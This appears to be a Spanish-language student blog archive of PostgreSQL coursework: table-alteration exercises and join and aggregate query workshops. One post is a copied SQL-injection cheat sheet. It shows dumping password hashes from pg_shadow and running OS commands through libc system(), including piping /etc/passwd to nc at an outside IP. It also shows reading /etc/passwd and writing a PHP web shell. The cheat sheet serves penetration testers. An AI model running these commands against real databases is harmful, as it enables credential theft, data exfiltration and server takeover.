Mostrando entradas con la etiqueta Borrador. Mostrar todas las entradas
Mostrando entradas con la etiqueta Borrador. Mostrar todas las entradas
jueves, 7 de mayo de 2015
viernes, 17 de abril de 2015
cheat sheet postgresql
Version | SELECT version() |
Comments | SELECT 1; –comment SELECT /*comment*/1; |
Current User | SELECT user; SELECT current_user; SELECT session_user; SELECT usename FROM pg_user; SELECT getpgusername(); |
List Users | SELECT usename FROM pg_user |
List Password Hashes | SELECT usename, passwd FROM pg_shadow — priv |
Password Cracker | MDCrack can crack PostgreSQL’s MD5-based passwords. |
List Privileges | SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user |
List DBA Accounts | SELECT usename FROM pg_user WHERE usesuper IS TRUE |
Current Database | SELECT current_database() |
List Databases | SELECT datname FROM pg_database |
List Columns | SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) |
List Tables | SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) |
Find Tables From Column Name | If you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’; |
Select Nth Row | SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0 SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1; |
Select Nth Char | SELECT substr(‘abcd’, 3, 1); — returns c |
Bitwise AND | SELECT 6 & 2; — returns 2 SELECT 6 & 1; –returns 0 |
ASCII Value -> Char | SELECT chr(65); |
Char -> ASCII Value | SELECT ascii(‘A’); |
Casting | SELECT CAST(1 as varchar); SELECT CAST(’1′ as int); |
String Concatenation | SELECT ‘A’ || ‘B’; — returnsAB |
If Statement | IF statements only seem valid inside functions, so aren’t much use for SQL injection. See CASE statement instead. |
Case Statement | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A |
Avoiding Quotes | SELECT CHR(65)||CHR(66); — returns AB |
Time Delay | SELECT pg_sleep(10); — postgres 8.2+ only CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function. Taken from here . |
Make DNS Requests | Generally not possible in postgres. However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.
|
Command Execution | CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user |
Local File Access | CREATE TABLE mydata(t text); COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time … DROP TABLE mytest mytest;Write to a file:
CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’); COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user. Generally you won’t be able to write to the web root, but it’s always work a try. – priv user can also read/write files by mapping libc functions |
Hostname, IP Address | SELECT inet_server_addr(); — returns db server IP address (or null if using local connection) SELECT inet_server_port(); — returns db server IP address (or null if using local connection) |
Create Users | CREATE USER test1 PASSWORD ‘pass1′; — priv CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time |
Drop Users | DROP USER test1; — priv |
Make User DBA | ALTER USER test1 CREATEUSER CREATEDB; — priv |
Location of DB files | SELECT current_setting(‘data_directory’); — priv SELECT current_setting(‘hba_file’); — priv |
Default/System Databases | template0 template1 |
sábado, 28 de marzo de 2015
Teniendo el siguiente modelo relacional cree las tablas del modelo y altere según las instrucciones;
departamento (codigo nombre ubicacion)
pk: codigo
empleado ( codigo, documento, nombre, apellido, fechanacimiento, codpto)
pk:codigo
fk:codpto <-- departamento
--AGREGAR COLUMNAS A LA TABLA EMPLEADO
1. peso entero tipo 2
2. telefono carácter de 10
3. genero de 1 carácter;
4. sueldo un numero de 15 dígitos con 3 decimales.
-- RENOMBRAR LAS COLUMNAS CREADAS
1. peso a pesoemp;
2. telefono a telemp;
-- CAMBIAR TIPO DE DATO
1. pesoemp a un decimal de 6 dígitos donde 3 son decimales);
-- ELIMINAR COLUMNA
1. pesoemp;
--RENOMBRAR TABLA
1. empleado a empleados;
--ESTABLECER VALORES POR DEFECTO
La restricción DEFAULT se utiliza para establecer un valor por defecto a una columna.
Si no se especifica un valor al insertar una fila, entonces se podrá el valor por defecto (DEFAULT) que tenga cada columna.
-- SI NO INGRESA UN NÚMERO TELEFÓNICO DEL EMPLEADO SE COLOCARÁ EL VALOR BUSCAR.
telemp 'buscar';
-- AHORA ELIMINAMOS LA ASIGNACIÓN DE VALOR POR DEFECTO
-- ESTABLECER COLUMNAS NO NULAS
En forma predeterminada, una columna puede ser NULL. Si no desea permitir un valor NULL en una columna, querrá colocar una restricción en esta columna especificando que NULL no es ahora un valor permitido.
-- CONVERTIR EL CAMPO TELEMP EN UN CAMPO OBLIGATORIO.
-- AHORA VAMOS A ELIMINAR LA ASIGNACIÓN NO NULA DE UNA COLUMNA
-- VAMOS AGREGAR LA RESTRICCIÓN DE CHEQUEO
La restricción CHECK asegura que todos los valores en una columna cumplan ciertas condiciones.
-- ESTABLECER LA RESTRICCIÓN SOBRE GÉNERO, QUE EL USUARIO SOLO PUEDA INGRESAR M-MASCULINO O F-FEMENINO, QUE REPRESENTEN LOS GÉNEROS.
-- APLICAR LA RESTRICCIÓN SOBRE SUELDO, PARA QUE VERIFIQUE QUE EL VALOR INGRESADO ES POSITIVO.
-- AGREGAR LA RESTRICCIÓN DE ÚNICO
La restricción UNIQUE asegura que todos los valores en una columna sean distintos.
-- Y CONSISTE EN DEFINIR QUE NINGÚN VALOR EN UNA COLUMNA SE PUEDE REPETIR
-- vamos aplicar a la columna del documento en la tabla de empleados.
departamento (codigo nombre ubicacion)
pk: codigo
empleado ( codigo, documento, nombre, apellido, fechanacimiento, codpto)
pk:codigo
fk:codpto <-- departamento
--AGREGAR COLUMNAS A LA TABLA EMPLEADO
1. peso entero tipo 2
2. telefono carácter de 10
3. genero de 1 carácter;
4. sueldo un numero de 15 dígitos con 3 decimales.
-- RENOMBRAR LAS COLUMNAS CREADAS
1. peso a pesoemp;
2. telefono a telemp;
-- CAMBIAR TIPO DE DATO
1. pesoemp a un decimal de 6 dígitos donde 3 son decimales);
-- ELIMINAR COLUMNA
1. pesoemp;
--RENOMBRAR TABLA
1. empleado a empleados;
--ESTABLECER VALORES POR DEFECTO
La restricción DEFAULT se utiliza para establecer un valor por defecto a una columna.
Si no se especifica un valor al insertar una fila, entonces se podrá el valor por defecto (DEFAULT) que tenga cada columna.
-- SI NO INGRESA UN NÚMERO TELEFÓNICO DEL EMPLEADO SE COLOCARÁ EL VALOR BUSCAR.
telemp 'buscar';
-- AHORA ELIMINAMOS LA ASIGNACIÓN DE VALOR POR DEFECTO
-- ESTABLECER COLUMNAS NO NULAS
En forma predeterminada, una columna puede ser NULL. Si no desea permitir un valor NULL en una columna, querrá colocar una restricción en esta columna especificando que NULL no es ahora un valor permitido.
-- CONVERTIR EL CAMPO TELEMP EN UN CAMPO OBLIGATORIO.
-- AHORA VAMOS A ELIMINAR LA ASIGNACIÓN NO NULA DE UNA COLUMNA
-- VAMOS AGREGAR LA RESTRICCIÓN DE CHEQUEO
La restricción CHECK asegura que todos los valores en una columna cumplan ciertas condiciones.
-- ESTABLECER LA RESTRICCIÓN SOBRE GÉNERO, QUE EL USUARIO SOLO PUEDA INGRESAR M-MASCULINO O F-FEMENINO, QUE REPRESENTEN LOS GÉNEROS.
-- APLICAR LA RESTRICCIÓN SOBRE SUELDO, PARA QUE VERIFIQUE QUE EL VALOR INGRESADO ES POSITIVO.
-- AGREGAR LA RESTRICCIÓN DE ÚNICO
La restricción UNIQUE asegura que todos los valores en una columna sean distintos.
-- Y CONSISTE EN DEFINIR QUE NINGÚN VALOR EN UNA COLUMNA SE PUEDE REPETIR
-- vamos aplicar a la columna del documento en la tabla de empleados.
miércoles, 18 de marzo de 2015
lunes, 16 de marzo de 2015
sábado, 14 de marzo de 2015
miércoles, 11 de marzo de 2015
sábado, 7 de marzo de 2015
miércoles, 18 de febrero de 2015
sábado, 7 de febrero de 2015
jueves, 27 de noviembre de 2014
Taller 3
PARTE UNO
JOINS
1. Realiza los Joins para relacionar las tablas de los siguientes modelos:
Reserva
Join 1: cliente.id_clie=reserva.id_cli;
Join 2: reserva.id_res=vehiculo.id_res;
Join 3: vehiculo.placa=garaje.placa;
Academia de Clases
Join 1: empresa.nitemp=alumno.nitemp;
Join 2: profesor.idpro=grupo.idpro;
Join 3: diplomado.coddip=grupo.coddip;
Join 4: alumno.idalu=asistir.idalu
Join 5: grupo.numgru=asistir.numgru
Almacén
Join 1: almacen.numalm=estanteria.numalm;
Join 2: pieza.tippie=estanteria.tippie;
Join 3: pieza.molpie=estanteria.molpie;
Join 4: pieza.tippie= componerse.tippie1
Join 5: pieza.molpie= componerse.molpie1
Join 6: pieza.tippie=componerse.tippie2;
Join 7: pieza.molpie= componerse.molpie2;
Porque siete joins, porque la llave primaria de pieza es compuesta.
Compañía
Join 1: departamento.iddpto=empleado.iddpto;
Join 2: departamento.iddpto=proyecto.iddpto;
Join 3: empleado.rutemp=trabaja.rutemp;
Join 4: proyecto.idpro=trabaja.rutemp;
Diario
Join 1: edicion.numedi=seccion.numedi;
Join 2: seccion.idsec=pagina.idsec;
Join 3: pagina.idpag=articulo.idpag;
Join 4: autor.idaut=articulo.idaut;
Revista Hemisferio
Join 1: usuario.cod_usu=anuncio.cod_usu;
Join 2: usuario.cod_usu=articulo.cod_usu;
Join 3: articulo.cod_art=clasifica.cod_art;
Join 4: categoria.cod_cat=clasifica.cod_cat;
Join 5: usuario.cod_usu=ficha.cod_usu
--Script “Pedidos”
--https://app.box.com/s/9714y7zjuv4tq93s5v9b
--2. Utilizando el script de pedidos responder las siguientes
--consultas utilizando joins para relacionar las tablas del modelo.
--a. Muestre las órdenes generadas que contengan productos de
--la categoría de cárnicos.
select ordenes.*
from ordenes,detalleordenes,productos,categorias
where ordenes.ordenid=detalleordenes.ordenid and
productos.productoid=detalleordenes.productoid and
categorias.categoriaid=productos.categoriaid and
categorias.nombrecat='Carnicos';
--b. Muestre las ordenes solicitadas por el implado Mario Sanchez
--que fueron realizadas en la primera quincena de junio de 2007
select ordenes.*
from empleados,ordenes
where empleados.empleadoid=ordenes.empleadoid and
empleados.nombre='Mario' and
empleados.apellido='Sanchez' and
extract(day from fechaorden) between 1 and 15 and
extract(month from fechaorden)=6 and
extract(year from fechaorden)=2007;
select ordenes.*
from empleados,ordenes
where empleados.empleadoid=ordenes.empleadoid and
empleados.nombre='Mario' and
empleados.apellido='Sanchez' and
fechaorden between '01-06-2007' and '15-06-2007' ;
--c. Liste el nombre y las existencias de los productos suministrados
--por el proveedor Don Diego y que la cantidad en el detalle de la orden
--sea superior a 10.
select productos.descripcion,productos.existencia
from proveedores,productos,detalleordenes,ordenes
where proveedores.proveedorid=productos.proveedorid and
productos.productoid=detalleordenes.productoid and
ordenes.ordenid=detalleordenes.ordenid and
proveedores.nombreprov='Don Diego' and
detalleordenes.cantidad>10;
--d. Obtenga la identificación de la orden, la fecha de la orden,
--el nombre del empleado que realizo la orden, el cliente quien solicito
--la orden y que en su detalle contiene el producto con la descripción de
--Rimmel.
select ordenes.ordenid,
ordenes.fechaorden,
empleados.nombre,
clientes.nombrecontacto,
productos.descripcion as "Producto Buscado"
from empleados,ordenes,clientes,detalleordenes,productos
where empleados.empleadoid=ordenes.empleadoid and
clientes.clienteid=ordenes.ordenid and
ordenes.ordenid=detalleordenes.ordenid and
productos.productoid=detalleordenes.productoid and
productos.descripcion='Rimmel';
--e. Muestra los nombres de los clientes que hayan solicitado
--productos suministrados por el proveedor Almay y que pertenezcan a la
--categoría de Cosmeticos.
select clientes.nombrecontacto,productos.descripcion
from clientes,ordenes,detalleordenes,productos,proveedores,categorias
where clientes.clienteid=ordenes.ordenid and
ordenes.ordenid=detalleordenes.ordenid and
productos.productoid=detalleordenes.productoid and
categorias.categoriaid=productos.categoriaid and
proveedores.proveedorid=productos.proveedorid and
proveedores.nombreprov='Almay' and
categorias.nombrecat='Cosmeticos';
--Script “Tienda Informática”
--https://app.box.com/s/htt6jpmr4d6azftn2hxr
--3. Utilizando el script de tienda informática responder las siguientes
--consultas utilizando joins para relacionar las tablas del modelo.
--f. Obtener la clave y precio del articulo donde su nombre tiene USB
--y fue suministrada por el fabricante Kingston.
select articulos.clavearticulo,articulos.precio
from articulos,fabricantes
where fabricantes.clavefabricante=articulos.clavefabricante and
articulos.nombrearticulo like '%USB%' and
fabricantes.nombre='Kingston';
--g. Obtener todos los datos de los fabricantes donde el precio
--artículos esté entre $100 y $350
select distinct fabricantes.clavefabricante,fabricantes.nombre
from fabricantes,articulos
where fabricantes.clavefabricante=articulos.clavefabricante and
articulos.precio between 100 and 350;
--h. Obtener un listado de artículos, incluyendo el nombre del
--artículo, su precio, y el nombre de su fabricante.
select articulos.nombrearticulo,articulos.precio,fabricantes.nombre
from fabricantes,articulos
where fabricantes.clavefabricante=articulos.clavefabricante;
--i. Obtener un listado completo de artículos, incluyendo los
--de su fabricante.
select *
from articulos,fabricantes
where fabricantes.clavefabricante=articulos.clavefabricante;
--j. Muestre la información de los artículos y fabricantes,
--ya sea el precio de los productos sean menores a 200 o que comienzan por M
--y el fabricante sea Kingston.
select *
from articulos,fabricantes
where fabricantes.clavefabricante=articulos.clavefabricante and
(articulos.precio<200 or (nombrearticulo like 'M%' and fabricantes.nombre='Kingston'));
--PARTE DOS
--FUNCIONES DE AGREGADO
--AVG – SUM – COUNT – MAX – MIN
--Script “Pedidos”
--https://app.box.com/s/9714y7zjuv4tq93s5v9b
--4. Utilizando el script de pedidos responder las siguientes consultas
--utilizando joins para relacionar las tablas del modelo, funciones de agregado
--y subconsultas para responder los ítems.
--k. Muestre el nombre de la categoría y cantidad de productos que pertenecen a ella.
select categorias.nombrecat,count(productoid)
from categorias,productos
where categorias.categoriaid=productos.categoriaid
group by categorias.nombrecat;
--l. Muestre el precio promedio de las distintas categorías.
select categorias.nombrecat,trunc(avg(productos.preciounit),2) as "AVG x Categoria"
from categorias,productos
where categorias.categoriaid=productos.categoriaid
group by categorias.nombrecat;
--m. Obtenga la cantidad de clientes que hayan solicitado productos
--suministrados por el proveedor Almay y que pertenezcan a la categoría de Cosmeticos.
select count(clientes.clienteid)
from clientes,ordenes,detalleordenes,productos,categorias,proveedores
where clientes.clienteid=ordenes.clienteid and
ordenes.ordenid=detalleordenes.ordenid and
productos.productoid=detalleordenes.productoid and
categorias.categoriaid=productos.categoriaid and
proveedores.proveedorid=productos.proveedorid and
proveedores.nombreprov='Almay' and
categorias.nombrecat='Cosmeticos';
--n. Muestre las existencias totales según el proveedor que surtió el producto.
select count(productos.existencia)
from proveedores,productos
where proveedores.proveedorid=productos.proveedorid
group by proveedores.nombreprov;
--o. Muestre el nombre del proveedor y el precio del producto más costoso.
select proveedores.nombreprov,max(productos.preciounit)
from proveedores,productos
where proveedores.proveedorid=productos.proveedorid
group by proveedores.nombreprov;
--Script “Tienda Informática”
--https://app.box.com/s/htt6jpmr4d6azftn2hxr
--5. Utilizando el script de tienda informática responder las siguientes
--consultas utilizando joins para relacionar las tablas del modelo, funciones de agregado
--y subconsultas para responder los ítems.
--p. Obtener el precio medio de los productos por cada fabricante, mostrando
--el nombre del fabricante.
select fabricantes.nombre, trunc(avg(articulos.precio),2)
from articulos,fabricantes
where fabricantes.clavefabricante=articulos.clavefabricante
group by fabricantes.nombre;
--q. Obtener los nombres de los fabricantes de los productos cuyo
--precio medio sea superior o igual a 60. (Sub)
select fabricantes.nombre
from articulos, fabricantes
where (select avg(articulos.precio) from articulos)>=60
group by fabricantes.nombre;
--r. Muestre el nombre del fabricante y la cantidad de productos que provee.
select fabricantes.nombre,
count(articulos.clavearticulo) as "CantidadProductos"
from articulos,fabricantes
where fabricantes.clavefabricante=articulos.clavefabricante
group by fabricantes.nombre;
--s. Obtener el nombre y precio del articulo más barato. (Sub)
select articulos.nombrearticulo,articulos.precio
from articulos
where precio=(select min(articulos.precio) from articulos);
--t. Obtener una lista con el nombre y precio de los artículos más caros de cada proveedor,
--incluyendo el nombre del fabricante.
select fabricantes.nombre,articulos.nombrearticulo,precio
from articulos,fabricantes
where precio=(select max(articulos.precio)
from articulos
where fabricantes.clavefabricante=articulos.clavefabricante);
--Script “Cliclista”
--https://app.box.com/s/rclpz26ndhli9svvq4so
--6. Utilizando el script de ciclista responder las siguientes consultas utilizando joins
-- para relacionar las tablas del modelo, funciones de agregado y subconsultas para responder los ítems.
--u. Obtener el nombre del ciclista más joven
select nombre
from ciclista
where edad=(select min(edad) from ciclista);
--v. Obtener el número de ciclistas de cada equipo
select count(dorsal)
from ciclista
group by nomeq;
--w. Obtener el nombre de los equipos que tengan más de 5 ciclistas.
select nomeq
from ciclista
group by nomeq
having count(dorsal)>5;
--x. Obtener el nombre de los ciclistas que han ganado más de un puerto
select ciclista.nombre, count(puerto.dorsal)
from ciclista,puerto
where ciclista.dorsal=puerto.dorsal
group by puerto.dorsal,ciclista.nombre
having count(puerto.dorsal)>1;
--y. Nombre de los ciclistas que no han ganado ninguna etapa.
select nombre
from ciclista
where dorsal not in(select dorsal from etapa);
--Script “Empleado & Departamento”
--https://app.box.com/s/aet7i391g07ydnlz0ovt
--7. Utilizando el script de Empleado y Departamento responder las siguientes consultas
--utilizando joins para relacionar las tablas del modelo, funciones de agregado y subconsultas
--para responder los ítems.
--z. Para los empleados que tengan como jefe a un empleado con código mayor que el suyo,
--obtén los que reciben de salario más de 1000 y menos de 2000, o que están en el departamento 30.
select *
from empleado
where empsup>empnro and ((empsal>1000 and empsal<2000)or (dptonro=30));
--aa. Obtén el salario más alto de la empresa, el total destinado a comisiones
--y el número de empleados.
select max(empsal) as "Salario Maximo",
sum(comm) as "Sumatorial de Comisiones" ,
count(empnro) as "Cuantos Empleados"
from empleado;
--bb. Halla el salario más alto, el más bajo, y la diferencia entre ellos.
select max(empsal) as "Salario Maximo",
min(empsal) as "Salario Minimo",
(max(empsal)-min(empsal)) as "Resta entre el Max y Min"
from empleado;
--cc. Halla los empleados cuyo salario supera o coincide con la media del salario de la empresa.
select *
from empleado
where empsal>=(select avg(empsal) from empleado);
--dd. ¿Cuántos empleos diferentes, cuántos empleados, y cuantos salarios diferentes
--encontramos en el departamento 30, y a cuánto asciende la suma de salarios de dicho departamento?
select count(distinct empcar) as "Cuantos Empleos",
count(empnom)"Cuantos Empleados",
count(distinct empsal)"Salarios Diferentes",
sum(empsal)"Sumatorias Salarios"
from empleado
where dptonro=30;
--ee. ¿Cuántos empleados tienen comisión?
select count(comm)
from empleado
where comm>0;
Taller 2
-- Muestre la información de los proveedores ubicados en la ciudad de Bucaramanga o Cali.
-- or
select * from proveedor
where lower(ciudad) = lower('Bucaramanga') or ciudad='cali';
-- in
select * from proveedor
where lower(ciudad) in ('bucaramanga', 'cali');
--Obtenga la lista de las áreas de venta que estén dedicadas al aseo.
select * from areaventa
where nombre like '%aseo%';
--Muestre la edad que cumplen los empleados en el año 2014.
select nombre, (2014 - extract(year from fechanac)) as "Edad en el 2014" from mercaderista
order by 2, 1;
--Liste los artículos que su precio no está entre 2000 y 3000.
--0 1000 1999 2000 3000 3001 4000 5000
-- Operadores >= <=
select *
from articulo
where precio <2000 or precio > 3000
order by precio;
-- between
select *
from articulo
where precio not between 2000 and 3000
order by precio;
--- Muestre los vendedores que nacieron en el último trimestre del 1967.
-- Extract
select * from vendedor
where extract (year from fechanac) = 1967 and
extract (month from fechanac) between 10 and 12;
--- between
select * from vendedor
where fechanac between '1967-10-01' and '1967-12-31';
-- Muestre la información de pedidos ya sean de alimentos y que el valor del domicilio sea entre 0 y 3000 o
--muestre los pedidos de tecnología y hayan sido realizados en el primer trimestre de 2012.
select * from pedido
where (tipo='alimentos' and valordomicilio between 0 and 3000) or
(tipo = 'tecnologia' and fechaentrega between '2012-01-01' and '2012-03-31');
--. Liste los cajeros nacidos entre 01/01/1985 y el 31/12/1990.
select * from cajero
where fechanac between '01/01/1985' and '31/12/1990';
-- Borre los artículos que tienen en su nombre la palabra polvo y el precio es 2000.
select * from articulo
where nombre like '%polvo%' and precio = 2000;
/*
delete from articulo
where nombre like '%polvo%' and precio = 2000;
*/
-- Joins
-- Muestre el nombre de los vendedores que trabajan en la ciudad de Bogotá.
select s.codigo, v.codsuc, v.nombre
from sucursal s, vendedor v
where s.codigo = v.codsuc and s.ciudad='bogota';
-- La administración desea conocer el nombre y la sucursal donde trabaja el vendedor que realizo
-- una venta de una agenda personal en la ciudad de Barranquilla.
select * from sucursal where ciudad = 'barranquilla';
select * from vendedor where codigo = 23;
select * from venta where codvendedor in (28, 29, 22, 23, 25, 26) and codarticulo = 23;
select * from articulo where nombre = 'agenda personal' ;
select v.nombre, s.ubicacion
from sucursal s, vendedor v, venta ve, articulo a
where s.codigo=v.codsuc and
v.codigo=ve.codvendedor and
a.codigo=ve.codarticulo and
a.nombre = 'agenda personal' and
s.ciudad = 'barranquilla';
--- Mostrar el código y nombre del mercaderista, y cuantos de artículos que promueven dentro de la empresa.
select mercaderista.codigo, mercaderista.nombre, count(articulo.codigo) as "Cantidad de Productos Asigmados"
from mercaderista, articulo
where mercaderista.codigo= articulo.codmerc
group by mercaderista.codigo, mercaderista.nombre
order by 1;
-- Mostrar la cantidad y el nombre de los artículos que tienen un precio mayor a 30.000
--y que su proveedor es de la ciudad de Bucaramanga.
select articulo.nombre, count(articulo.codigo)
from articulo, surte, proveedor
where articulo.codigo=surte.codarticulo and
proveedor.codigo=surte.codprov and articulo.precio>30000 and proveedor.ciudad='bucaramanga'
group by articulo.nombre;
--14. Muestre el nombre del cajero y la sumatorias total de los artículos facturados por los cajeros mostrando solo las mayores o iguales a 300000.
select cajero.codigo, cajero.nombre, sum(articulo.precio)
from cajero, atiende, caja, pago, cliente, compra, articulo
where articulo.codigo=compra.codarticulo and
cliente.codigo = compra.codcli and
cliente.codigo=pago.codcliente and
caja.codigo=pago.codcaja and
caja.codigo=atiende.codcaja and
cajero.codigo=atiende.codcajero
group by cajero.codigo, cajero.nombre
having sum(articulo.precio) > 300000
order by nombre;
--15. Muestre la siguiente información: código y nombre del cliente, cuantos y la sumatoria de los créditos obtenidos.
select cliente.codigo, cliente.nombre, count(credito.codigo) as "Cuantos", sum(credito.valor) as "Sumatoria"
from cliente, credito
where cliente.codigo=credito.codcli
group by cliente.codigo, cliente.nombre
having count(credito.codigo) = 1 or sum(credito.valor) >= 18000;
--16. Muestre el código y el nombre del proveedor y cuantos artículos surte.
select proveedor.codigo, proveedor.nombre, count(distinct articulo.codigo)
from proveedor, surte, articulo
where proveedor.codigo=surte.codprov and
articulo.codigo=surte.codarticulo
group by proveedor.codigo, proveedor.nombre;
--17. Muestre el código y nombre de los departamentos a los que pertenecen más de cuatro artículos.
select departamento.codigo, departamento.nombre, count(articulo.codigo)
from departamento, articulo
where departamento.codigo=articulo.coddpto
group by departamento.codigo, departamento.nombre
having count(articulo.codigo) >4;
--18. Muestre el nombre del cajero y la cantidad total de los artículos vendidos por estos.
select cajero.codigo, cajero.nombre, count(articulo.precio)
from cajero, atiende, caja, pago, cliente, compra, articulo
where articulo.codigo=compra.codarticulo and
cliente.codigo = compra.codcli and
cliente.codigo=pago.codcliente and
caja.codigo=pago.codcaja and
caja.codigo=atiende.codcaja and
cajero.codigo=atiende.codcajero
group by cajero.codigo, cajero.nombre;
--19. Muestre el precio del articulo más alto.
select max(articulo.precio) from articulo;
--20. Muestre el articulo con el valor más alto, según cada departamento.
select departamento.nombre,articulo.nombre,precio
from articulo,departamento
where departamento.codigo=articulo.coddpto
and precio=(select max(articulo.precio)
from articulo
where departamento.codigo=articulo.coddpto)
order by departamento.nombre;
--21. Muestre la información del articulo con el valor más alto. Utilizando subconsultas.
select articulo.codigo,articulo.nombre,articulo.precio
from articulo
where precio=(select max(articulo.precio) from articulo);
--22. Escriba los joins necesarios para relacionar todas las tablas del modelo.
/*sucursal.codigo=vendedor.codsuc
vendedor.codigo=venta.codvendedor
articulo.codigo=venta.codarticulo
articulo.codigo=surte.codarticulo
proveedor.codigo=surte.codprov
articulo.codigo=compra.codarticulo
cliente.codigo=compra.codcli
cliente.codigo=premio.codcli
tarjetapremios.codigo=premio.codtarj
cliente.codigo=credito.codcli
cliente.codigo=pedido.codcli
cliente.codigo=pago.codcliente
caja.codigo=pago.codcaja
caja.codigo=atiende.codcaja
cajero.codigo=atiende.codcajero
departamento.codigo=articulo.coddpto
areaventa.codigo=departamento.codarea
mercaderista.codigo=articulo.codmerc*/
Taller 1
--1. Realice los joins implícitos para unir todo el modelo.
curso.codcur=alumno.codcur
curso.codcur=asignaturas.codcur
profesor.idpro=examen.idpro
profesor.idpro=asignatura.idpro
asignatura.codasig=examen.codasig
examen.codexa=pregunta.codexa
examen.codexa=realizan.codexa
alumno.idalu=realizan.idalu
--2. Muestre los nombres de las asignaturas impartidas por el profesor Enrique Ortiz.
select nomasig
from asignatura,profesor
where profesor.idpro=asignatura.idpro and
profesor.nompro='Enrique' and
profesor.apepro='Ortiz';
--3. Muestre el nombre, apellido y nota de los estudiantes que realizaron un examen diseñado por Enrique Ortiz.
select nomalu,apealu,nota
from alumno,realizan,examen,profesor
where alumno.idalu=realizan.idalu and
profesor.idpro=examen.idpro and
examen.codexa=realizan.codexa and
profesor.nompro='Enrique' and profesor.apepro='Ortiz';
--4. Muestre la cantidad de preguntas que componen el examen con el codigo 1020.
select count(codpre)
from examen,pregunta
where examen.codexa=pregunta.codexa and
examen.codexa=1020;
--5. Muestre a los estudiantes que han realizado algún examen y que pertenecen al curso E001.
select *
from alumnos,realizan,curso
where curso.codcur=alumno.codcur and
alumno.idalu=realizan.idalu and
curso.codcur='E001';
--6. Muestre cuantos exámenes hay para la asignatura Base de Datos.
select count(codexa)
from examenes,asignatura
where asignatura.codasig=examen.codasig and
asignatura.nomasig='Base de Datos';
--7. Muestre el promedio de la nota obtenida en el examen con el codigo 1020.
select avg(nota)
from examen,realizan
where examen.codexa=realizan.codexa and
examen.codexa=1020;
--8. Muestre la nota máxima conseguida por un alumno en un examen diseñado por Enrique Ortiz.
select max(nota)
from realizan,examen,profesor
where examen.codexa=realizan.codexa and
profesor.idpro=examen.idpro and
profesor.nompro='Enrique' and
profesor.apepro='Ortiz';
--9. Muestre la nota mínima conseguida por un alumno en un examen diseñado por Enrique Ortiz.
select min(nota)
from realizan,examen,profesor
where examen.codexa=realizan.codexa and
profesor.idpro=examen.idpro and
profesor.nompro='Enrique' and
profesor.apepro='Ortiz';
--10. Muestre el nombre de la asignatura, el código del examen, el enunciado y la respuesta a la preguntas que hayan respondido el curso curso E001.
select nomasig,codexa,enuncpre,rtapre
from asignatura,examen,pregunta,curso
where curso.codcur=asignatura.codcur and
asignatura.codasig=examen.codasig
examen.codexa=pregunta.codexa and
curso.codcur='E001';